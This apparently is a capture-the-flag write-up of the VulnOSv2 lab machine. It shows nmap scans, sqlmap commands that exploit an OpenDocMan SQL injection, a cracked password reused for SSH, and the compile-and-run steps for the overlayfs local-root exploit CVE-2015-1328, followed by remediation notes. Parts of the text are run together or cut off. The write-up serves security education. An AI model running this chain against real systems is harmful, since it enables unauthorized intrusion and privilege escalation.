A web-to-root chain with a classic SQL-injection core. The company site quietly points at a document-management app two versions behind a public CVE; the injection hands over a password hash; the hash opens SSH; and a 2014-vintage Ubuntu kernel folds instantly to an overlayfs local root. Every link is a patch that was never applied.
VulnOSv2 is themed around a fictional company, "JABC," whose web stack leaks its way to root. The path:
| Credential / flag | Value | Where |
|---|---|---|
| webmin (SQLi dump) | b78aae…954b → webmin1980 | jabcd0cs.odm_user |
| foothold | ssh webmin:webmin1980 | uid=1001(webmin) |
| flag.txt | root shell (uid=0) | /root/ (as root) |
nmap -sT -sV -p- 192.168.110.6
# 22/tcp open ssh OpenSSH 6.6.1p1 (Ubuntu 14.04)
# 80/tcp open http Apache 2.4.7
# 6667/tcp open irc ngIRCdThe landing page links to /jabc — a Drupal site for the fictional "JABC" company. Reading its pages, the Documentation node spells out the next hop in plain text:
curl "http://192.168.110.6/jabc/?q=node/7"
# "...please visit our documentation platform at /jabcd0cs/
# on the server. Just login with guest/guest"/jabcd0cs/ turns out to be OpenDocMan v1.2.7 — a version with a published, unauthenticated SQL injection.
The add_value parameter of ajax_udf.php is injectable (UNION, 9 columns). sqlmap confirms it and enumerates the databases:
sqlmap -u "http://192.168.110.6/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" \
-p add_value --dbms=mysql --batch --dbs
# available databases: drupal7, jabcd0cs, mysql, ...Dumping the application's user table yields two unsalted MD5 hashes:
sqlmap ... -D jabcd0cs -T odm_user --dump
# webmin : b78aae356709f8c31118ea613980954b
# guest : 084e0343a0486ff05530df6c705c8bb4 (= "guest")The MySQL account is even more generous than expected:
sqlmap ... --current-user --is-dba --privileges
# current user: root@localhost · is DBA: True · privilege: FILEFILE on a DBA account is normally an instant webshell via INTO OUTFILE. Here the web directories weren't writable by the mysql process user, so OUTFILE failed — but LOAD_FILE() still gave arbitrary file read, confirming the real system users (vulnosadmin, webmin) straight out of /etc/passwd.The webmin hash is a raw, unsalted MD5. It cracks to webmin1980 — and that password is reused for the webmin system account, so SSH opens directly:
echo -n 'webmin1980' | md5sum
# b78aae356709f8c31118ea613980954b ← matches the dump
ssh webmin@192.168.110.6 # password: webmin1980
# uid=1001(webmin) — Ubuntu 14.04.4, kernel 3.13.0-24-generic (i686)The kernel gives it away: 3.13.0-24-generic on Ubuntu 14.04 is vulnerable to the overlayfs local privilege escalation, CVE-2015-1328 (exploit-db 37292.c). The box ships gcc, so it compiles in place:
# from the webmin SSH session
scp 37292.c webmin@192.168.110.6:/tmp/ofs.c
gcc /tmp/ofs.c -o /tmp/ofs
/tmp/ofs
# spawning threads / mount #1 / mount #2
# /etc/ld.so.preload created / creating shared library
# uid=0(root) gid=0(root)
cat /root/flag.txt
# "You successfully compromised the company JABC and the server completely !!!"/etc/ld.so.preload and a shared library to pull off the privilege swap. Left behind, a dangling preload entry can break every binary on the box — so part of a clean engagement is removing /etc/ld.so.preload, the planted .so, and the exploit source once root is confirmed.ld.so.preload and run code as root.root with FILE. Give each app a least-privilege MySQL account scoped to its own schema — no DBA, no FILE.Lab environment · VulnHub boot2root performed in an isolated home lab. No production system was accessed. All testing described on this site is conducted only with prior written authorization.